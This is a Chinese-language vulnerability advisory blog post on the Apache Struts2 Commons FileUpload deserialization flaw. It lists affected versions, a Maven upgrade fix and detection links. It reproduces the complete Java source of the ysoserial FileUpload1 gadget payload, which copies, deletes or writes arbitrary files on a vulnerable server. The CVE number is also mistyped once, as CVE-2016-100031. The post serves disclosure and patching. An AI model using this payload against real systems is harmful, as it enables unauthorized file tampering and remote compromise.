【漏洞预警】Struts2 Commons FileUpload反序列化 附Exp

漏洞 0 6706
指尖安全-小胖
指尖安全-小胖 2018年11月07日

漏洞描述

11月5日(北美时间),Apache软件基金会(ASF)向Apache Struts项目管理员发布了关于CVE-2016-100031漏洞的安全公告,这是2016年初由Tenable研究团队报告的Commons FileUpload 库中的一个高危漏洞。这个库作为Apache Struts 2的一部分,被用作文件上传的默认机制。ASF报告说,Apache Struts 2.3.36及之前的版本是易受攻击的。远程攻击者可以使用此漏洞在运行易受攻击的Apache Struts版本的公开网站上获得远程代码执行能力。

1541560143(1)

漏洞编号

CVE-2016-100031

影响范围

ASF确认Apache Struts 2.5.12及以上版本,包括Commons FileUpload库的修补版本1.3.3都已经修复此漏洞。如果可能的话,Apache Struts项目管理员应该尽快升级到2.5.12及以上版本。ASF还注释,通过简单地将WEB-INF/lib路径中的JAR文件替换为固定版本,可将Commons FileUpload库的已修补版本放入已经部署的项目中。基于Maven的Struts项目可以通过添加以下依赖性来解决此漏洞。

<dependency>
  <groupId>commons-fileupload</groupId>
  <artifactId>commons-fileupload</artifactId>
  <version>1.3.3</version>
</dependency>

漏洞分析报告

https://www.tenable.com/security/research/tra-2016-12

漏洞检测

Nessus Plugins https://www.tenable.com/plugins/search?q=cves%3A(%22CVE-2016-1000031%22) 

1541560297(1)

ysoserial已封装此Exp

https://github.com/mbechler/ysoserial/commit/a5c473ddfa9382d380bd2aa1f56740c62e368169

https://github.com/frohoff/ysoserial/commit/20580e918dc5217ca3120c63f1d9c02d4bca0a85

package ysoserial.payloads;
 import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
 import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
 import ysoserial.PayloadTest;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
 /**
 * Gadget chain:
 * DiskFileItem.readObject()
 * 
 * Arguments:
 * - copyAndDelete:sourceFile:destDir
 * - write:destDir:ascii-data
 * - writeB64:destDir:base64-data
 * - writeOld:destFile:ascii-data
 * - writeOldB64:destFile:base64-data
 * 
 * Yields:
 * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
 * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
 * - 1.3.1+: write data to a more or less random file in an arbitrary directory
 * 
 * @author mbechler
 */
@Dependencies ( {
    "commons-fileupload:commons-fileupload:1.3.1",
    "commons-io:commons-io:2.4"
} )
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
public class FileUpload1 implements ObjectPayload<DiskFileItem> {
     /**
     * {@inheritDoc}
     *
     * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
     */
    public DiskFileItem getObject ( String command ) throws Exception {
         String[] parts = command.split(":");
         if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
            return copyAndDelete(parts[ 1 ], parts[ 2 ]);
        }
        else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
            return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
        }
        else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
            return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
        }
        else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
            return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
        }
        else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
            return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
        }
        else {
            throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
        }
    }
     private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
        return makePayload(0, copyTo, copyAndDelete, new byte[1]);
    }
     // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
    private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
        return makePayload(data.length + 1, dir, dir + "/whatever", data);
    }
     // writes data to an arbitrary file
    private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
        return makePayload(data.length + 1, file + "\0", file, data);
    }
     /**
     * @param thresh
     * @param repoPath
     * @param filePath
     * @param data
     * @return
     * @throws IOException
     * @throws Exception
     */
    private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
        // if thresh < written length, delete outputFile after copying to repository temp file
        // otherwise write the contents to repository temp file
        File repository = new File(repoPath);
        DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
        File outputFile = new File(filePath);
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
        OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
        os.write(data);
        Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written");
        writtenF.setAccessible(true);
        writtenF.set(dfos, data.length);
        Reflections.setFieldValue(diskFileItem, "dfos", dfos);
        Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
        return diskFileItem;
    }
     public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(FileUpload1.class, args);
    }
 }

修复建议

升级commons-fileupload.jar至1.3.3版本

参考文献

https://mp.weixin.qq.com/s/S4eEgSgsblZwNXim3vvW7g

https://mail-archives.us.apache.org/mod_mbox/www-announce/201811.mbox/%3CCAMopvkMo8WiP%3DfqVQuZ1Fyx%3D6CGz0Epzfe0gG5XAqP1wdJCoBQ%40mail.gmail.com%3E

https://nvd.nist.gov/vuln/detail/CVE-2016-1000031

https://www.tenable.com/security/research/tra-2016-12

https://www.tenable.com/plugins/search?q=cves%3A(%22CVE-2016-1000031%22)

https://github.com/mbechler/ysoserial/commit/a5c473ddfa9382d380bd2aa1f56740c62e368169 https://github.com/frohoff/ysoserial/commit/20580e918dc5217ca3120c63f1d9c02d4bca0a85